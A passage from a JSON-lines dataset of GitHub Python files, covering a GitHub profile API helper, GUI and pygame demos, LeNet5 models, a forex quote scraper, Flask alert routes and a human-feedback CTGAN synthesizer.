ShortRepository as a string dictionary\n \"\"\"\n return {\n \"id\": repo.id,\n \"name\": repo.name,\n \"owner\": str_short_user(repo.owner),\n \"private\": repo.private,\n \"full_name\": repo.full_name,\n \"description\": repo.description,\n \"created_at\": get_datetime_str(repo.created_at),\n \"updated_at\": get_datetime_str(repo.updated_at),\n \"homepage\": repo.homepage,\n \"language\": repo.language,\n \"archived\": repo.archived,\n \"forks_count\": repo.forks_count,\n \"open_issues_count\": repo.open_issues_count,\n \"watchers_count\": repo.watchers_count,\n \"url\": repo.html_url,\n }\n\n\ndef get_repository(access_token: str, repo_id: str | int | None = None, repo_owner: str | None = None, repo_name: str | None = None) -> Repository | None:\n gh, _ = get_user(token=access_token)\n\n if repo_owner:\n repo = gh.repository(repo_owner, repo_name)\n else:\n repo = gh.repository_with_id(int(repo_id))\n\n if not repo:\n print(f\"Failed to get repo {repo_id}\")\n return\n\n return repo\n\n\ndef request_profile(access_token: str) -> Tuple[GitHub, AuthenticatedUser, dict[str, Any]]:\n \"\"\"Immediately returns relevant information about a user's profile, given their access token\n\n Args:\n access_token (str): A user's access token\n\n Returns:\n Tuple[GitHub, AuthenticatedUser, dict[str, Any]]: The GitHub instance, current user, and a string dictionary of various attributes\n \"\"\"\n # TODO: Parallel requests\n gh, gh_usr = get_user(token=access_token)\n repos = [str_short_repository(x) for x in gh.repositories('all', 'created', 'desc')]\n priv_repo_count = len(repos) - gh_usr.public_repos_count\n return gh, gh_usr, {\n \"id\": gh_usr.id,\n \"name\": gh_usr.name,\n \"login\": gh_usr.login,\n \"avatar_url\": gh_usr.avatar_url,\n \"url\": gh_usr.html_url,\n \"email\": gh_usr.email,\n \"followers\": [str_short_user(x) for x in gh_usr.followers(10)],\n \"following\": [str_short_user(x) for x in gh_usr.following(10)],\n \"bio\": gh_usr.bio,\n \"company\": gh_usr.company,\n \"events\": [str_event(x) for x in gh_usr.events(True, 10)],\n \"starred_repos\": [str_short_repository(x) for x in gh_usr.starred_repositories(sort='updated', number=10)],\n \"subscriptions\": [str_short_repository(x) for x in gh_usr.subscriptions(number=10)],\n \"plan\": gh_usr.plan,\n \"repos\": repos,\n \"follower_count\": gh_usr.followers_count,\n \"repo_pub_count\": gh_usr.public_repos_count,\n \"repo_priv_count\": priv_repo_count,\n \"gist_pub_count\": gh_usr.public_gists_count,\n \"repo_first\": get_datetime_str(gh.repositories('all', 'created', 'asc', 1).next().created_at),\n \"repo_last\": get_datetime_str(gh.repositories('all', 'created', 'desc', 1).next().created_at),\n \"api_limit\": gh_usr.ratelimit_remaining,\n }\n\n\ndef test():\n \"\"\"API test function\"\"\"\n import os\n from dotenv import load_dotenv\n\n load_dotenv()\n\n current_token = str(os.getenv(\"CURRENT_TOKEN\"))\n\n gh, gh_usr, profile = request_profile(current_token)\n\n print(gh)\n print(gh_usr)\n print(profile)\n print(gh_usr.ratelimit_remaining)\n\n\nif __name__ == \"__main__\":\n test()\n","repo_name":"LeHuman/CS587-Dashboard","sub_path":"home/github_api.py","file_name":"github_api.py","file_ext":"py","file_size_in_byte":7322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"7939188584","text":"\"\"\"\nExample of how to render lists, tables and trees.\n\"\"\"\nfrom observ import reactive\nfrom point_cloud import materials, PointCloud, sphere_geom\nimport pygfx as gfx\nfrom PySide6 import QtWidgets\nfrom wgpu.gui.qt import WgpuCanvas\n\nimport collagraph as cg\nfrom collagraph import h\n\n\nclass RenderWidget(cg.Component):\n def mounted(self):\n renderer = gfx.renderers.WgpuRenderer(self.element)\n\n camera = gfx.PerspectiveCamera(60, 16 / 9)\n camera.position.z = 15\n\n controls = gfx.OrbitController(camera.position.clone())\n controls.add_default_event_handlers(renderer, camera)\n\n self.gui = cg.Collagraph(\n renderer=cg.PygfxRenderer(), event_loop_type=cg.EventLoopType.QT\n )\n element = h(\n \"Group\",\n {\n \"name\": \"Landmarks\",\n },\n h(\"AmbientLight\"),\n h(\"PointLight\"),\n h(\n PointCloud,\n # When increasing this number, it will take longer\n # and longer for pygfx to create the render pipeline\n # (compiling shaders and such), so be careful...\n self.props,\n ),\n h(\n \"Mesh\",\n {\n \"name\": \"Hip\",\n \"position\": [2, 2, 2],\n \"geometry\": sphere_geom,\n \"material\": materials[\"other\"],\n },\n ),\n )\n\n container = gfx.Scene()\n\n def animate():\n controls.update_camera(camera)\n renderer.render(container, camera)\n\n self.gui.render(\n element, container, callback=lambda: self.element.request_draw(animate)\n )\n\n def render(self):\n return h(\"WgpuCanvas\", {\"minimum_height\": 400, \"minimum_width\": 600})\n\n\ndef Example(props):\n def add(event):\n props[\"count\"] += 1\n\n def remove(event):\n if props[\"count\"] > 0:\n props[\"count\"] -= 1\n\n return h(\n \"Window\",\n {},\n h(\n \"Widget\",\n {},\n h(\n RenderWidget,\n props,\n ),\n h(\n \"Widget\",\n {\n \"layout\": {\n \"type\": \"Box\",\n \"direction\": \"LeftToRight\",\n },\n \"maximum-height\": 50,\n },\n h(\"Button\", {\"text\": \"Add\", \"on_clicked\": add}),\n h(\"Button\", {\"text\": \"Remove\", \"on_clicked\": remove}),\n ),\n ),\n )\n\n\nif __name__ == \"__main__\":\n app = QtWidgets.QApplication()\n\n renderer = cg.PySideRenderer()\n renderer.register(\"WgpuCanvas\", WgpuCanvas)\n gui = cg.Collagraph(renderer=renderer, event_loop_type=cg.EventLoopType.QT)\n\n state = reactive({\"count\": 50})\n\n # Define Qt structure and map state to the structure\n element = h(Example, state)\n\n # Pass in the app as a container. Can actually be any truthy object\n gui.render(element, app)\n app.exec()\n","repo_name":"fork-tongue/collagraph","sub_path":"examples/combined-example.py","file_name":"combined-example.py","file_ext":"py","file_size_in_byte":3070,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"32"} +{"seq_id":"1351771422","text":"import torch\nfrom torch import nn\nfrom utils.ste_layers import LinearQuantized, Conv2dQuantized\nfrom utils.masked_layers import LinearMasked, Conv2dMasked\n\nif torch.cuda.is_available():\n device = torch.device(\"cuda\")\nelse:\n device = torch.device(\"cpu\")\n\nclass LeNet5(nn.Module):\n def __init__(self, input_channel=1, n_classes=10):\n super(LeNet5, self).__init__()\n self.features = nn.Sequential(nn.Conv2d(input_channel, 20, 5, 1), nn.MaxPool2d(2, 2), nn.ReLU(inplace=False),\n nn.Conv2d(20, 50, 5, 1), nn.MaxPool2d(2, 2), nn.ReLU(inplace=False))\n self.classifier = nn.Sequential(nn.Linear(4 * 4 * 50, 500), nn.ReLU(inplace=False), nn.Linear(500, n_classes))\n for m in self.modules():\n if isinstance(m, nn.Linear) or isinstance(m, nn.Conv2d):\n nn.init.kaiming_normal_(m.weight, nonlinearity='relu')\n\n def forward(self, x):\n x = self.features(x)\n x = x.view(-1, 4 * 4 * 50)\n x = self.classifier(x)\n return x\n\n\nclass LeNet5_Masked(nn.Module):\n def __init__(self, input_channel=1, n_classes=10):\n super(LeNet5_Masked, self).__init__()\n self.features = nn.Sequential(Conv2dMasked(input_channel, 20, 5, 1), nn.MaxPool2d(2, 2), nn.ReLU(inplace=False),\n Conv2dMasked(20, 50, 5, 1), nn.MaxPool2d(2, 2), nn.ReLU(inplace=False))\n self.classifier = nn.Sequential(LinearMasked(4 * 4 * 50, 500), nn.ReLU(inplace=False), LinearMasked(500, n_classes))\n for m in self.modules():\n if isinstance(m, nn.Linear) or isinstance(m, nn.Conv2d):\n nn.init.kaiming_normal_(m.weight, nonlinearity='relu')\n\n def forward(self, x):\n x = self.features(x)\n x = x.view(-1, 4 * 4 * 50)\n x = self.classifier(x)\n return x\n\n\nclass LeNet5_Quantized(nn.Module):\n def __init__(self, input_channel=1, n_classes=10, num_quantized_weight_values=16):\n super(LeNet5_Quantized, self).__init__()\n self.quantized_weight_values = torch.zeros(num_quantized_weight_values).to(device)\n self.features = nn.Sequential(\n Conv2dQuantized(input_channel, 20, 5, quantized_weight_values=self.quantized_weight_values, stride=1),\n nn.MaxPool2d(2, 2), nn.ReLU(inplace=False),\n Conv2dQuantized(20, 50, 5, quantized_weight_values=self.quantized_weight_values, stride=1),\n nn.MaxPool2d(2, 2), nn.ReLU(inplace=False))\n self.classifier = nn.Sequential(\n LinearQuantized(4 * 4 * 50, 500, quantized_weight_values=self.quantized_weight_values),\n nn.ReLU(inplace=False),\n LinearQuantized(500, n_classes, quantized_weight_values=self.quantized_weight_values))\n for m in self.modules():\n if isinstance(m, nn.Linear) or isinstance(m, nn.Conv2d):\n nn.init.kaiming_normal_(m.weight, nonlinearity='relu')\n\n def forward(self, x):\n x = self.features(x)\n x = x.view(-1, 4 * 4 * 50)\n x = self.classifier(x)\n return x","repo_name":"wwwfan628/dynamic_quantized_cnn","sub_path":"src/models/lenet5.py","file_name":"lenet5.py","file_ext":"py","file_size_in_byte":3059,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"3421903867","text":"#! /usr/bin/env python3\n\"\"\"Sort bookmarks.\"\"\"\nimport json\nimport sys\n\n\ndef print_results(data):\n print(\"[\")\n for i in sorted(data):\n print(\"\\t{\")\n print('\\t\\t\"url\":\"{}\",'.format(i))\n print('\\t\\t\"comments\":[{}],'.format(data[i][0]))\n # print(\", \".join(list(data[i][0])), end=\"\")\n # print(\"],\")\n print('\\t\\t\"tags\":[\"', end=\"\")\n print('\", \"'.join(list(data[i][1])), end=\"\")\n print('\"],')\n print('\\t\\t\"date\":\"{}\"'.format(data[i][2]))\n print(\"\\t},\")\n print(\"]\")\n\n\ndef sort_results(data):\n links = []\n todos = []\n no_http = []\n youtube = []\n for i in data:\n if not i[\"url\"].startswith(\"http\"):\n no_http.append(i)\n elif \"youtube.com\" in i[\"url\"]:\n youtube.append(i)\n elif \"todo\" in i[\"tags\"]:\n todos.append(i)\n else:\n links.append(i)\n return (links, todos, no_http, youtube)\n\n\ndef convert_entries(data):\n res = []\n for i in data:\n entry = dict()\n entry[\"url\"] = i\n entry[\"comment\"], entry[\"tags\"], entry[\"date\"] = data[i]\n res.append(entry)\n return res\n\n\nif __name__ == \"__main__\":\n with open(sys.argv[1], \"r\") as infile:\n ordered = json.load(infile)\n entries = convert_entries(ordered)\n # print(len(entries))\n # print(entries[-340])\n # print_results(unsorted)\n # for i in sort_results(unsorted):\n # with open(\"{}.json\".format(i), \"w\") as outfile:\n # json.dump(i.__name__, outfile, indent=4)\n links, todos, no_http, youtube = sort_results(entries)\n print(\"total: {}\".format(len(entries)))\n print(\"links: {}\".format(len(links)))\n print(\"todos: {}\".format(len(todos)))\n print(\"no_http: {}\".format(len(no_http)))\n print(\"youtube: {}\".format(len(youtube)))\n with open(\"links.json\", \"w\") as outfile:\n json.dump(links, outfile, indent=4)\n with open(\"todos.json\", \"w\") as outfile:\n json.dump(todos, outfile, indent=4)\n with open(\"no_http.json\", \"w\") as outfile:\n json.dump(no_http, outfile, indent=4)\n with open(\"youtube.json\", \"w\") as outfile:\n json.dump(youtube, outfile, indent=4)\n","repo_name":"merigor/bm-tools","sub_path":"bm_js_sort.py","file_name":"bm_js_sort.py","file_ext":"py","file_size_in_byte":2177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"2328010170","text":"class Node(object):\r\n\tdef __init__(self, previous = None, next_obj = None, data = None):\r\n\t\tself.previous = previous\r\n\t\tself.next = next_obj\r\n\t\tself.data = data\r\n\r\nclass Queue(object):\r\n\tdef __init__(self):\r\n\t\tself.__head = Node()\r\n\t\tself.__tail = Node()\r\n\r\n\t\tself.__head.next = self.__tail\r\n\t\tself.__tail.previous = self.__head\r\n\r\n\t\tself.__length = 0\r\n\r\n\tdef dequeue(self):\r\n\t\tif not self.__length == 0:\r\n\t\t\tself.__length -= 1\r\n\t\t\thead = self.__head\r\n\r\n\t\t\tself.__head = head.next\r\n\t\t\tself.__head.next = head.next.next\r\n\r\n\t\t\tdel head\r\n\r\n\t\t\treturn\r\n\r\n\t\telse:\r\n\t\t\tprint('Empty stack!')\r\n\t\t\treturn \r\n\r\n\tdef enqueue(self, value):\r\n\t\tnode = Node(data = value)\r\n\t\tself.__length += 1\r\n\r\n\t\tif not self.__head.data:\r\n\t\t\tself.__head = node\r\n\t\t\tnode.next = self.__tail\r\n\t\t\tself.__tail.previous = node\r\n\r\n\t\t\treturn\r\n\r\n\t\telse:\r\n\t\t\tprevious = self.__tail.previous\r\n\t\t\tprevious.next = node\r\n\t\t\tnode.previous = previous\r\n\r\n\t\t\tnode.next = self.__tail\r\n\t\t\tself.__tail.previous = node\r\n\r\n\t\t\treturn\r\n\r\n\tdef head(self):\r\n\t\treturn self.__head\r\n\r\n\tdef is_empty(self):\r\n\t\treturn True if self.__length == 0 else False\r\n\r\n\tdef length(self):\r\n\t\treturn self.__length\r\n\r\n\tdef remove(self, value):\r\n\t\tif not self.is_empty():\r\n\t\t\tcurrent_node = self.__head\r\n\r\n\t\t\twhile current_node.data:\r\n\t\t\t\tif current_node.data == value:\r\n\t\t\t\t\tcurrent_node.previous.next = current_node.next\r\n\t\t\t\t\tcurrent_node.next.previous = current_node.previous\r\n\r\n\t\t\t\t\tdel current_node\r\n\r\n\t\t\t\t\treturn\r\n\r\n\t\t\t\tcurrent_node = current_node.next\r\n\t\t\telse:\r\n\t\t\t\tprint(f'Value({value}) not found in the queue.')\r\n\t\t\t\treturn\r\n\r\n\t\telse:\r\n\t\t\tprint('Empty stack!')\r\n\t\t\treturn\r\n\r\n\tdef seek(self, value):\r\n\t\tif not self.is_empty():\r\n\t\t\tcurrent_node = self.__head\r\n\r\n\t\t\twhile current_node.data:\r\n\t\t\t\tif current_node.data == value:\r\n\t\t\t\t\treturn current_node\r\n\r\n\t\t\t\tcurrent_node = current_node.next\r\n\t\t\telse:\r\n\t\t\t\tprint(f'Value({value}) not found in the queue.')\r\n\t\t\t\treturn\r\n\r\n\t\telse:\r\n\t\t\tprint('Empty stack!')\r\n\t\t\treturn\r\n\r\n\tdef tail(self):\r\n\t\treturn self.__tail","repo_name":"thIYan-EsWar/Python-Data-Structures","sub_path":"queue.py","file_name":"queue.py","file_ext":"py","file_size_in_byte":1990,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"28878022248","text":"import pygame\npygame.init()\n\nwindow_size = [800, 600]\nscreen = pygame.display.set_mode(window_size)\n\nimage = pygame.image.load('./duck.png')\n# 显示图片到视窗上 (0, 0) 位置\nscreen.blit(image, (0, 0))\n\n# 这个是决定是否跳出游戏循环的变数\nis_game_over = False\n\n# 游戏循环(game loop)是很重要的观念,类似于 tkinter 的 windowloop 可以让游戏不断循环来监听玩家的操作,进而刷新页面达到动态游戏画面的效果(试想电影和动画都是一页页画纸快速翻页所产生的结果)\nwhile not is_game_over:\n # 监听事件,由于是个无穷循环,所以当事件发生时就判断是哪一种事件由哪一个区块进行处理,像这边是 pygame.QUIT 结束游戏事件(关掉视窗等)。这边透过 for 循环取出 pygame.event.get() 的内容\n keys = pygame.key.get_pressed()\n if keys[pygame.K_RETURN]:\n print('hello world enter :)')\n for event in pygame.event.get():\n # pygame 内部有定义多种游戏事件,也可以自己定义\n # 当发生结束事件时,把 is_game_over 变数变为 True,跳出循环\n if event.type == pygame.QUIT:\n is_game_over = True\n if event.type == pygame.MOUSEBUTTONDOWN:\n mouse_position = pygame.mouse.get_pos()\n print(mouse_position)\n screen.fill([0,0,0])\n screen.blit(image,(mouse_position))\n # 记得更新画面(有点像是 tkinter 的 update)\n pygame.display.flip()\n\n# 最后记得关闭 pygame\npygame.quit()","repo_name":"LiuYvonne927/demo1","sub_path":"26May.py","file_name":"26May.py","file_ext":"py","file_size_in_byte":1554,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"20524200349","text":"from bs4 import BeautifulSoup\nimport requests\nimport time\nimport sys\n\ndef parseRate(html):\n\tsoup = BeautifulSoup(html,'html.parser')\n\tvalStr = soup.find_all('p',class_='data bgLast')\n\tcontent = [c.text for c in valStr]\n\treturn float(''.join(content))\n\ndef streamQuotes(url,num):\n\tsesh = requests.session()\n\tfor n in range(0,num):\n\t\tresp = sesh.get(url)\n\t\thtml = resp.text\n\t\trate = parseRate(html)\n\t\tprint('\\t('+str(n+1)+') Current Rate: ',rate)\n\tsesh.close()\n\ndef checkArgs(f,d,n):\n\tif not f.isalpha():\n\t\tsys.exit('Non-letters entered for foreign currency symbol.')\n\tif not d.isalpha():\n\t\tsys.exit('Non-letters entered for domestic currency symbol.')\n\tif n <= 0:\n\t\tsys.exit('Zero or negative number of quotes entered.')\n\ndef checkPair(url):\n\tresp = requests.get(url)\n\thtml = resp.text\n\ttry:\n\t\tr = parseRate(html)\n\texcept ValueError:\n\t\tsys.exit('The currency pair: '+f+'/'+d+' does not exist.')\n\t\t\nif __name__ == '__main__':\n\ttry:\n\t\tf = sys.argv[1].upper()\n\texcept IndexError:\n\t\tsys.exit('No foreign currency symbol entered.')\n\ttry:\n\t\td = sys.argv[2].upper() \n\texcept IndexError:\n\t\tsys.exit('No domestic currency symbol entered.')\n\ttry:\t\t\n\t\tcount = int(sys.argv[3])\n\texcept IndexError:\n\t\tsys.exit('Number of desired quotes not entered.')\n\texcept ValueError:\n\t\tsys.exit('Decimal entered for number of quotes.')\n\t\n\tcheckArgs(f,d,count)\n\tfxUrl = 'https://marketwatch.com/investing/currency/'+f.lower()+d.lower()+'/historical'\n\tcheckPair(fxUrl)\n\tprint('Fetching '+str(count)+' quotes for '+f+'/'+d+':')\n\tstart = time.time()\n\tstreamQuotes(fxUrl,count)\n\tend = time.time()\n\tprint('Query Time: '+str(round(float(end-start),3))+'s')\t","repo_name":"rolinmb/investing","sub_path":"forex/forex_quote_stream.py","file_name":"forex_quote_stream.py","file_ext":"py","file_size_in_byte":1623,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"29255219335","text":"tupla=(\"Uno\",\"Dos\",\"Tres\",\"Cuatro\",\"Cinco\",\"Seis\",\"Siete\",\"Ocho\")\nprint(\"A. Mostrar un elemento por línea\")\nfor i in range(len(tupla)):\n print(tupla[i])\n\nprint(\"\\n\\nB. Mostrar todas las letras en mayúscula.\")\nfor i in range(len(tupla)):\n print(tupla[i].upper())\n\nprint(\"\\n\\nC. Mostrar todas las letras en minúscula.\")\nfor i in range(len(tupla)):\n print(tupla[i].lower())\n\nprint(\"\\n\\nD. Mostar los textos que finalizan con la letra “s”.\")\nfor i in range(len(tupla)):\n if(tupla[i][len(tupla[i])-1:len(tupla[i])]) == \"s\" or (tupla[i][len(tupla[i])-1:len(tupla[i])]) == \"S\":\n print(tupla[i])\na=0\ne=0\nvocali=0\no=0\nu=0\nprint(\"\\n\\nE. Contar la cantidad de vocales existentes en los textos\")\nfor i in range(len(tupla)):\n for x in range(len(tupla[i])):\n if(tupla[i][x:x+1]) == \"a\" or (tupla[i][x:x+1]) == \"A\":\n a+=1\n if(tupla[i][x:x+1]) == \"e\" or (tupla[i][x:x+1]) == \"E\":\n e+=1\n if(tupla[i][x:x+1]) == \"i\" or (tupla[i][x:x+1]) == \"I\":\n vocali+=1\n if(tupla[i][x:x+1]) == \"o\" or (tupla[i][x:x+1]) == \"O\":\n o+=1\n if(tupla[i][x:x+1]) == \"u\" or (tupla[i][x:x+1]) == \"U\":\n u+=1\nprint (\"a = \",a)\nprint (\"e = \",e)\nprint (\"i = \",vocali)\nprint (\"o = \",o)\nprint (\"u = \",u)\n","repo_name":"mariozeledon/DP_Actividad2","sub_path":"Actividad2_problema1.py","file_name":"Actividad2_problema1.py","file_ext":"py","file_size_in_byte":1271,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"28412447896","text":"from flask import Flask, render_template, request, Blueprint, flash, redirect, url_for\nfrom models.incidents import Alerte\nfrom flask import Flask, render_template, request, Blueprint, flash, redirect, url_for\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = 'fredkesse1234'\n\n\nalerte_router = Blueprint('alerte_router', __name__, url_prefix='/api/alert')\nroute_utilisateur = Blueprint('user_router', __name__, url_prefix='/')\n\n\n@alerte_router.route('/ajouter_alerte', methods=['POST'])\ndef ajouter_alerte():\n try:\n prenom = request.form['prenom']\n nom = request.form['nom']\n localisation = request.form.get('localisation')\n image = request.form.get('image')\n titre = request.form['titre']\n description = request.form['description']\n\n alerte = Alerte(\n prenom=prenom,\n nom=nom,\n localisation=localisation,\n image=image,\n titre=titre,\n description=description\n )\n alerte.save()\n flash('Alerte ajoutée avec succès !', 'success')\n except Exception as e:\n flash(f\"Une erreur s'est produite lors de l'ajout de l'alerte. {e}\", 'danger')\n print(e)\n\n return redirect(url_for('user_router.alertU'))\n\n\n@alerte_router.route('/alert')\ndef liste_alertes():\n alertes = Alerte.objects()\n return render_template('incidents_user.html', alertes=alertes)\n\n\napp.register_blueprint(alerte_router)\napp.register_blueprint(route_utilisateur)\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"Deleau20/Move_Smart","sub_path":"routes/alert.py","file_name":"alert.py","file_ext":"py","file_size_in_byte":1538,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"22711170434","text":"from copy import deepcopy\nimport pickle\nfrom ctgan import CTGANSynthesizer\nfrom ctgan.synthesizers.base import random_state\n\nimport numpy as np\nimport torch\nfrom torch import optim\n# from torchviz import make_dot\n\n\nclass InnerConditions():\n def __init__(self,\n sample_size_of_feedback_data,\n perturbation_per_feedback_datum,\n perturbation_sigma,\n condition_column,\n condition_value):\n self.sample_size_of_feedback_data = sample_size_of_feedback_data\n self.perturbation_per_feedback_datum = perturbation_per_feedback_datum\n self.perturbation_sigma = perturbation_sigma\n self.condition_column = condition_column\n self.condition_value = condition_value\n\n\nclass HCTGANSynthesizer(CTGANSynthesizer):\n \"\"\"CTGAN with HumanGAN\n \"\"\"\n\n def __init__(self,\n sample_size_of_feedback_data,\n perturbation_per_feedback_datum=5,\n perturbation_sigma=0.01,\n condition_column=None,\n condition_value=None,\n embedding_dim=128, generator_dim=(256, 256), discriminator_dim=(256, 256),\n generator_lr=2e-4, generator_decay=1e-6, discriminator_lr=2e-4,\n discriminator_decay=1e-6, batch_size=500, discriminator_steps=1,\n log_frequency=True, verbose=False, epochs=300, pac=10, cuda=True,\n ):\n super().__init__(embedding_dim=embedding_dim, generator_dim=generator_dim,\n discriminator_dim=discriminator_dim,\n generator_lr=generator_lr, generator_decay=generator_decay,\n discriminator_lr=discriminator_lr,\n discriminator_decay=discriminator_decay,\n batch_size=batch_size, discriminator_steps=discriminator_steps,\n log_frequency=log_frequency, verbose=verbose,\n epochs=epochs, pac=pac, cuda=cuda)\n self._set_inner_conditions(sample_size_of_feedback_data=sample_size_of_feedback_data,\n perturbation_per_feedback_datum=perturbation_per_feedback_datum,\n perturbation_sigma=perturbation_sigma,\n condition_column=condition_column,\n condition_value=condition_value)\n\n @random_state\n def fit(self, train_data, discrete_columns=(), epochs=None):\n super().fit(train_data=train_data,\n discrete_columns=discrete_columns,\n epochs=epochs)\n return self\n\n def _set_inner_conditions(self,\n sample_size_of_feedback_data=None,\n perturbation_per_feedback_datum=None,\n perturbation_sigma=None,\n condition_column=None,\n condition_value=None):\n self.sample_size_of_feedback_data = sample_size_of_feedback_data\n self.perturbation_per_feedback_datum = perturbation_per_feedback_datum\n self.perturbation_sigma = perturbation_sigma\n self.condition_column = condition_column\n self.condition_value = condition_value\n\n @random_state\n def fit_to_feedback(self,\n data_for_feedback_orig,\n feedback_probs\n ):\n\n x, data_for_feedback, perturbations = self._sample_for_human_evaluation()\n\n # image = make_dot(x, params=dict(self._generator.named_parameters()))\n # image.format = \"png\"\n # image.render(\"NeuralNet\")\n\n np.testing.assert_array_almost_equal(\n data_for_feedback_orig, data_for_feedback)\n\n N = x.shape[0]\n feedback_sample_size = feedback_probs.shape[0]\n\n R = int(feedback_sample_size / (N * 2))\n if R != self.perturbation_per_feedback_datum:\n raise ValueError(\n 'Internal Error: The number of perturbation per one sample is not same as self.perturbation_per_feedback_datum.')\n\n reshaped_feedback_probs = feedback_probs.reshape((N, R, 2))\n\n optimizerG = optim.Adam(\n self._generator.parameters(), lr=self._generator_lr, betas=(0.5, 0.9),\n weight_decay=self._generator_decay\n )\n\n grad_list = []\n for n in range(N):\n sum_list = []\n for r in range(R):\n perturbation_xnr = perturbations[n, r, :]\n D_xnr = reshaped_feedback_probs[n, r, 0] - \\\n reshaped_feedback_probs[n, r, 1]\n sum_list.append(D_xnr * perturbation_xnr)\n grad_of_xn = np.sum(sum_list, axis=0) / \\\n (2*self.perturbation_sigma**2*R)\n grad_list.append(grad_of_xn)\n\n x_for_bw = x.to(self._device)\n grad = torch.Tensor(np.vstack(grad_list)).to(self._device)\n\n optimizerG.zero_grad()\n x_for_bw.backward(grad)\n optimizerG.step()\n\n grad.detach().cpu()\n x_for_bw.detach().cpu()\n\n return self\n\n @random_state\n def _sample_as_tensor(self, n, condition_column=None, condition_value=None):\n if condition_column is not None and condition_value is not None:\n condition_info = self._transformer.convert_column_name_value_to_id(\n condition_column, condition_value)\n global_condition_vec = self._data_sampler.generate_cond_from_condition_column_info(\n condition_info, self._batch_size)\n else:\n global_condition_vec = None\n\n steps = n // self._batch_size + 1\n data = []\n for i in range(steps):\n mean = torch.zeros(self._batch_size, self._embedding_dim)\n std = mean + 1\n fakez = torch.normal(mean=mean, std=std).to(self._device)\n\n if global_condition_vec is not None:\n condvec = global_condition_vec.copy()\n else:\n condvec = self._data_sampler.sample_original_condvec(\n self._batch_size)\n\n if condvec is None:\n pass\n else:\n c1 = condvec\n c1 = torch.from_numpy(c1).to(self._device)\n fakez = torch.cat([fakez, c1], dim=1)\n\n fake = self._generator(fakez)\n data.append(fake)\n\n data_tensor = torch.cat(data, dim=0)\n data_tensor = data_tensor[:n]\n data_tensor = data_tensor.cpu()\n\n return data_tensor\n\n @random_state\n def _sample_for_human_evaluation(self):\n\n raw_data_tensor = self._sample_as_tensor(\n self.sample_size_of_feedback_data, condition_column=self.condition_column,\n condition_value=self.condition_value)\n\n # TODO: It might be better to implement an option\n # to return only cluster-centered nearest-neighbor perturbations.\n # At that time, an argument specifying the number of clusters need to be added.\n\n # adding perturbations\n result_vector_list = []\n mn_perturbation_list = []\n for _, row in enumerate(raw_data_tensor):\n for _ in range(self.perturbation_per_feedback_datum):\n col_num = raw_data_tensor.shape[1]\n mn_distribution_vector = np.random.normal(\n loc=0, scale=self.perturbation_sigma, size=col_num)\n\n new_row_added_delta = row.detach().numpy()\n new_row_subtracted_delta = deepcopy(new_row_added_delta)\n\n new_row_added_delta += mn_distribution_vector\n new_row_subtracted_delta -= mn_distribution_vector\n\n result_vector_list.append(new_row_added_delta)\n result_vector_list.append(new_row_subtracted_delta)\n mn_perturbation_list.append(mn_distribution_vector)\n\n fake = torch.Tensor(np.vstack(result_vector_list))\n fakeact = self._apply_activate(fake)\n data = fakeact.numpy()\n perturbations = np.vstack(mn_perturbation_list)\n perturbations = perturbations.reshape(\n (self.sample_size_of_feedback_data, self.perturbation_per_feedback_datum, perturbations.shape[1]))\n\n return raw_data_tensor, self._transformer.inverse_transform(data), perturbations\n\n @staticmethod\n def _save_data_for_feedback(data_for_feedback,\n csv_path,\n target_colname='feedback'):\n res_df = data_for_feedback.copy()\n res_df[target_colname] = \"\"\n res_df.to_csv(csv_path, encoding='utf-8', index=False, header=True)\n\n @random_state\n def create_feedback_data_csv(self,\n csv_path,\n sample_size_of_feedback_data,\n perturbation_per_feedback_datum=5,\n perturbation_sigma=0.01,\n condition_column=None,\n condition_value=None,\n target_colname='feedback'):\n\n self._set_inner_conditions(sample_size_of_feedback_data=sample_size_of_feedback_data,\n perturbation_per_feedback_datum=perturbation_per_feedback_datum,\n perturbation_sigma=perturbation_sigma,\n condition_column=condition_column,\n condition_value=condition_value)\n _, data_for_feedback, _ = self._sample_for_human_evaluation()\n\n self._save_data_for_feedback(data_for_feedback=data_for_feedback,\n csv_path=csv_path,\n target_colname=target_colname)\n\n def save_inner_conditions(self, path):\n ic = InnerConditions(sample_size_of_feedback_data=self.sample_size_of_feedback_data,\n perturbation_per_feedback_datum=self.perturbation_per_feedback_datum,\n perturbation_sigma=self.perturbation_sigma,\n condition_column=self.condition_column,\n condition_value=self.condition_value)\n with open(path, 'wb') as f:\n pickle.dump(ic, f)\n\n def save(self, path):\n \"\"\"Save the model in the passed `path`.\"\"\"\n rs = self.random_states\n device_backup = self._device\n self.random_states = None\n self.set_device(torch.device('cpu'))\n torch.save(self, path+'.pth')\n self.save_inner_conditions(path=path+'_inner_conditions.pickle')\n self.set_device(device_backup)\n self.random_states = rs\n\n @classmethod\n def load(cls, path):\n \"\"\"Load the model stored in the passed `path`.\"\"\"\n device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n model: HCTGANSynthesizer = torch.load(path+'.pth')\n with open(path+'_inner_conditions.pickle', 'rb') as f:\n ic: InnerConditions = pickle.load(f)\n model._set_inner_conditions(sample_size_of_feedback_data=ic.sample_size_of_feedback_data,\n perturbation_per_feedback_datum=ic.perturbation_per_feedback_datum,\n perturbation_sigma=ic.perturbation_sigma,\n condition_column=ic.condition_column,\n condition_value=ic.condition_value\n )\n model.set_device(device)\n return model\n","repo_name":"kzkymn/human_ctgan","sub_path":"hctgan/hctgan.py","file_name":"hctgan.py","file_ext":"py","file_size_in_byte":11621,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"5781354073","text":"from typing import Mapping, Union\nimport numpy as np\nfrom .operation import 